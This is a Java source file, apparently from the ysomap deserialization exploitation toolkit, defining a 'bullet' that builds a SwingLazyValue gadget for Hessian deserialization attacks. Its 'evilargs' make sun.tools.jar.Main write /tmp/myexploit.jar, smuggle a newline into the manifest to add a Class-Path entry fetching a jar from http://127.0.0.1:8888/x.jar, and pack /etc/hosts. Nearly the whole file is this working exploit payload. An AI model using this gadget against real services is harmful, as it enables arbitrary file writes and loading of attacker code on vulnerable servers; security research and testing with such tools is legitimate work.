package ysomap.bullets.jdk; import sun.swing.SwingLazyValue; import ysomap.bullets.AbstractBullet; import ysomap.bullets.Bullet; import ysomap.common.annotation.*; @Bullets @Dependencies({"jdk"}) @Details("Test") @Targets({Targets.HESSIAN}) public class SwingLazyValueTestBullet extends AbstractBullet { @Override public SwingLazyValue getObject() throws Exception { String classname = "sun.tools.jar.Main"; String methodName = "main"; Object[] evilargs = new Object[]{ new String[] { "cfe", "/tmp/myexploit.jar","aaaa\nClass-Path: http://127.0.0.1:8888/x.jar", "/etc/hosts" } }; return new SwingLazyValue(classname, methodName, evilargs); } public static Bullet newInstance(Object... args) throws Exception { Bullet bullet = new SwingLazyValueTestBullet(); return bullet; } }